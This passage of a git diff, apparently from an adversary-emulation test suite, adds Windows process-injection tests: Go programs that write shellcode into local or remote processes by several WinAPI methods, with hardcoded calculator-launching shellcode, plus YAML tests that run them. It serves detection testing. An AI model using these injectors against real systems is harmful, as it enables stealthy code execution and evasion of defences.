(null terminated) + if Signature != 17744 { + log.Fatal("[!]PE Signature string was not PE") + } + + // Read the child process's PE file header + /* + typedef struct _IMAGE_FILE_HEADER { + USHORT Machine; + USHORT NumberOfSections; + ULONG TimeDateStamp; + ULONG PointerToSymbolTable; + ULONG NumberOfSymbols; + USHORT SizeOfOptionalHeader; + USHORT Characteristics; + } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + */ + + type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...") + } + var peHeader IMAGE_FILE_HEADER + var readBytes4 int32 + + _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4))) + if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4)) + switch peHeader.Machine { + case 34404: // 0x8664 + fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)") + case 332: // 0x14c + fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)") + default: + fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine)) + } + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader)) + fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine)) + } + + // Read the child process's PE optional header to find it's entry point + /* + https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64 + typedef struct _IMAGE_OPTIONAL_HEADER64 { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; + */ + + type IMAGE_OPTIONAL_HEADER64 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + /* + https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32 + typedef struct _IMAGE_OPTIONAL_HEADER { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + DWORD BaseOfData; + DWORD ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + DWORD SizeOfStackReserve; + DWORD SizeOfStackCommit; + DWORD SizeOfHeapReserve; + DWORD SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; + */ + + type IMAGE_OPTIONAL_HEADER32 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + BaseOfData uint32 // Different from 64 bit header + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...") + } + + var optHeader64 IMAGE_OPTIONAL_HEADER64 + var optHeader32 IMAGE_OPTIONAL_HEADER32 + var errReadProcessMemory5 error + var readBytes5 int32 + + if peHeader.Machine == 34404 { // 0x8664 + _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5))) + } else if peHeader.Machine == 332 { // 0x14c + _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5))) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5)) + } + if *debug { + if peHeader.Machine == 332 { // 0x14c + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32)) + fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint))) + } + if peHeader.Machine == 34404 { // 0x8664 + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64)) + fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint))) + } + } + + // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it + var ep uintptr + if peHeader.Machine == 34404 { // 0x8664 x64 + ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint) + } else if peHeader.Machine == 332 { // 0x14c x86 + ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + var epBuffer []byte + var shellcodeAddressBuffer []byte + // x86 - 0xb8 = mov eax + // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax + if peHeader.Machine == 34404 { // 0x8664 x64 + epBuffer = append(epBuffer, byte(0x48)) + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address + binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else if peHeader.Machine == 332 { // 0x14c x86 + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address + binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + // 0xff ; 0xe0 = jmp [r|e]ax + epBuffer = append(epBuffer, byte(0xff)) + epBuffer = append(epBuffer, byte(0xe0)) + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer)) + } + + _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer))) + + if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error())) + } + if *verbose { + fmt.Println("[-]Successfully overwrote the AddressofEntryPoint") + } + + // Resume the child process + if *debug { + fmt.Println("[DEBUG]Calling ResumeThread...") + } + _, errResumeThread := windows.ResumeThread(procInfo.Thread) + if errResumeThread != nil { + log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error())) + } + if *verbose { + fmt.Println("[+]Process resumed and shellcode executed") + } + + // Close the handle to the child process + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process...") + } + errCloseProcHandle := windows.CloseHandle(procInfo.Process) + if errCloseProcHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error())) + } + + // Close the hand to the child process thread + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process thread...") + } + errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) + if errCloseThreadHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error())) + } + + // Close the write handle the anonymous STDOUT pipe + errCloseStdOutWrite := windows.CloseHandle(stdOutWrite) + if errCloseStdOutWrite != nil { + log.Fatal(fmt.Sprintf("[!]Error closing STDOUT pipe write handle:\r\n\t%s", errCloseStdOutWrite.Error())) + } + + // Close the read handle to the anonymous STDIN pipe + errCloseStdInRead := windows.CloseHandle(stdInRead) + if errCloseStdInRead != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the STDIN pipe read handle:\r\n\t%s", errCloseStdInRead.Error())) + } + + // Close the write handle to the anonymous STDERR pipe + errCloseStdErrWrite := windows.CloseHandle(stdErrWrite) + if errCloseStdErrWrite != nil { + log.Fatal(fmt.Sprintf("[!]err closing STDERR pipe write handle:\r\n\t%s", errCloseStdErrWrite.Error())) + } + + // Read STDOUT from child process + /* + BOOL ReadFile( + HANDLE hFile, + LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, + LPOVERLAPPED lpOverlapped + ); + */ + nNumberOfBytesToRead := make([]byte, 1) + var stdOutBuffer []byte + var stdOutDone uint32 + var stdOutOverlapped windows.Overlapped + if *debug { + fmt.Println("[DEBUG]Calling ReadFile on STDOUT pipe...") + } + for { + errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped) + if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." { + log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdOut.Error())) + } + if int(stdOutDone) == 0 { + break + } + for _, b := range nNumberOfBytesToRead { + stdOutBuffer = append(stdOutBuffer, b) + } + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDOUT", len(stdOutBuffer))) + } + + // Read STDERR from child process + var stdErrBuffer []byte + var stdErrDone uint32 + var stdErrOverlapped windows.Overlapped + if *debug { + fmt.Println("[DEBUG]Calling ReadFile on STDERR pipe...") + } + for { + errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped) + if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." { + log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdErr.Error())) + } + if int(stdErrDone) == 0 { + break + } + for _, b := range nNumberOfBytesToRead { + stdErrBuffer = append(stdErrBuffer, b) + } + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDERR", len(stdErrBuffer))) + } + + // Write the data collected from the childprocess' STDOUT to the parent process' STOUTOUT + if len(stdOutBuffer) > 0 { + fmt.Println(fmt.Sprintf("[+]Child process STDOUT:\r\n%s", string(stdOutBuffer))) + } + if len(stdErrBuffer) > 0 { + fmt.Println(fmt.Sprintf("[!]Child process STDERR:\r\n%s", string(stdErrBuffer))) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o CreateProcessWithPipe.exe ./CreateProcessWithPipe.go +// test STDERR go run ./CreateProcessWithPipe.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf" diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml index 71b0dda5..b664e5d8 100644 --- a/atomics/T1055/T1055.yaml +++ b/atomics/T1055/T1055.yaml @@ -162,3 +162,194 @@ atomic_tests: cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force' name: powershell elevation_required: true +- name: Process Injection with Go using UuidFromStringA WinAPI + description: | + Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA. + With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa) + - References: + - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ + - https://twitter.com/_CPResearch_/status/1352310521752662018 + - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue +- name: Process Injection with Go using EtwpCreateEtwThread WinAPI + description: | + Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process. + This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. + + Steps taken with this technique + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call EtwpCreateEtwThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread) + - References: + - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3 + - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue +- name: Remote Process Injection with Go using RtlCreateUserThread WinAPI + description: | + Executes shellcode in a remote process. + + Steps taken with this technique + 1. Get a handle to the target process + 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 4. Change the memory page permissions to Execute/Read with VirtualProtectEx + 5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread + 6. Close the handle to the remote process + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread) + - References: + - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike + supported_platforms: + - windows + input_arguments: + spawn_process_path: + description: Path of the binary to spawn + type: string + default: 'C:\Windows\System32\werfault.exe' + spawn_process_name: + description: Name of the process spawned + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $process = Start-Process #{spawn_process_path} -passthru + $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue +- name: Remote Process Injection with Go using CreateRemoteThread WinAPI + description: | + Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process. + + This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess(). + + Steps taken with this technique + 1. Get a handle to the target process + 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 4. Change the memory page permissions to Execute/Read with VirtualProtectEx + 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread + 6. Close the handle to the remote process + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread) + - References: + - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection + supported_platforms: + - windows + input_arguments: + spawn_process_path: + description: Path of the binary to spawn + type: string + default: 'C:\Windows\System32\werfault.exe' + spawn_process_name: + description: Name of the process spawned + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $process = Start-Process #{spawn_process_path} -passthru + $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue +- name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively) + description: | + Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process. + + This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. + + 1. Get a handle to the target process + 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 4. Change the memory page permissions to Execute/Read with VirtualProtectEx + 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread + 6. Close the handle to the remote process + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative) + supported_platforms: + - windows + input_arguments: + spawn_process_path: + description: Path of the binary to spawn + type: string + default: 'C:\Windows\System32\werfault.exe' + spawn_process_name: + description: Name of the process spawned + type: string + default: werfault + executor: + name: powershell + elevation_required: false + command: | + $process = Start-Process #{spawn_process_path} -passthru + $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue + Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue +- name: Process Injection with Go using CreateThread WinAPI + description: | + This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call CreateThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + + This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread) + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue +- name: Process Injection with Go using CreateThread WinAPI (Natively) + description: | + This program executes shellcode in the current process using the following steps + 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write + 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space + 3. Change the memory page permissions to Execute/Read with VirtualProtect + 4. Call CreateThread on shellcode address + 5. Call WaitForSingleObject so the program does not end before the shellcode is executed + + This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. + + - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative) + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + $PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug + cleanup_command: | + Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue \ No newline at end of file diff --git a/atomics/T1055/bin/x64/CreateRemoteThread.exe b/atomics/T1055/bin/x64/CreateRemoteThread.exe new file mode 100644 index 00000000..0b84d2d3 Binary files /dev/null and b/atomics/T1055/bin/x64/CreateRemoteThread.exe differ diff --git a/atomics/T1055/bin/x64/CreateRemoteThreadNative.exe b/atomics/T1055/bin/x64/CreateRemoteThreadNative.exe new file mode 100644 index 00000000..bb038d20 Binary files /dev/null and b/atomics/T1055/bin/x64/CreateRemoteThreadNative.exe differ diff --git a/atomics/T1055/bin/x64/CreateThread.exe b/atomics/T1055/bin/x64/CreateThread.exe new file mode 100644 index 00000000..c346baf2 Binary files /dev/null and b/atomics/T1055/bin/x64/CreateThread.exe differ diff --git a/atomics/T1055/bin/x64/CreateThreadNative.exe b/atomics/T1055/bin/x64/CreateThreadNative.exe new file mode 100644 index 00000000..6285a13f Binary files /dev/null and b/atomics/T1055/bin/x64/CreateThreadNative.exe differ diff --git a/atomics/T1055/bin/x64/EtwpCreateEtwThread.exe b/atomics/T1055/bin/x64/EtwpCreateEtwThread.exe new file mode 100644 index 00000000..fbbf6ba9 Binary files /dev/null and b/atomics/T1055/bin/x64/EtwpCreateEtwThread.exe differ diff --git a/atomics/T1055/bin/x64/RtlCreateUserThread.exe b/atomics/T1055/bin/x64/RtlCreateUserThread.exe new file mode 100644 index 00000000..aa1787ec Binary files /dev/null and b/atomics/T1055/bin/x64/RtlCreateUserThread.exe differ diff --git a/atomics/T1055/bin/x64/UuidFromStringA.exe b/atomics/T1055/bin/x64/UuidFromStringA.exe new file mode 100644 index 00000000..9d59f32b Binary files /dev/null and b/atomics/T1055/bin/x64/UuidFromStringA.exe differ diff --git a/atomics/T1055/src/x64/CreateRemoteThread.go b/atomics/T1055/src/x64/CreateRemoteThread.go new file mode 100644 index 00000000..f688d363 --- /dev/null +++ b/atomics/T1055/src/x64/CreateRemoteThread.go @@ -0,0 +1,127 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateRemoteThread/main.go + +/* +This program executes shellcode in a remote process using the following steps + 1. Get a handle to the target process + 1. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write + 2. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process + 3. Change the memory page permissions to Execute/Read with VirtualProtectEx + 4. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread + 5. Close the handle to the remote process + +This program leverages the functions from golang.org/x/sys/windows WHERE POSSIBLE to call Windows procedures instead of manually loading them +*/ + +package main + +import ( + "encoding/hex" + "flag" + "fmt" + "log" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + // To hardcode the Process Identifier (PID), change 0 to the PID of the target process + pid := flag.Int("pid", 0, "Process ID to inject shellcode into") + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx") + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Getting a handle to Process ID (PID) %d...", *pid)) + } + pHandle, errOpenProcess := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(*pid)) + + if errOpenProcess != nil { + log.Fatal(fmt.Sprintf("[!]Error calling OpenProcess:\r\n%s", errOpenProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully got a handle to process %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", *pid)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", *pid)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote shellcode to PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", *pid)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully change memory permissions to PAGE_EXECUTE_READ in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Call CreateRemoteThreadEx on PID %d...", *pid)) + } + _, _, errCreateRemoteThreadEx := CreateRemoteThreadEx.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0) + if errCreateRemoteThreadEx != nil && errCreateRemoteThreadEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateRemoteThreadEx:\r\n%s", errCreateRemoteThreadEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[+]Successfully create a remote thread in PID %d", *pid)) + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CloseHandle on PID %d...", *pid)) + } + errCloseHandle := windows.CloseHandle(pHandle) + if errCloseHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error calling CloseHandle:\r\n%s", errCloseHandle.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully closed the handle to PID %d", 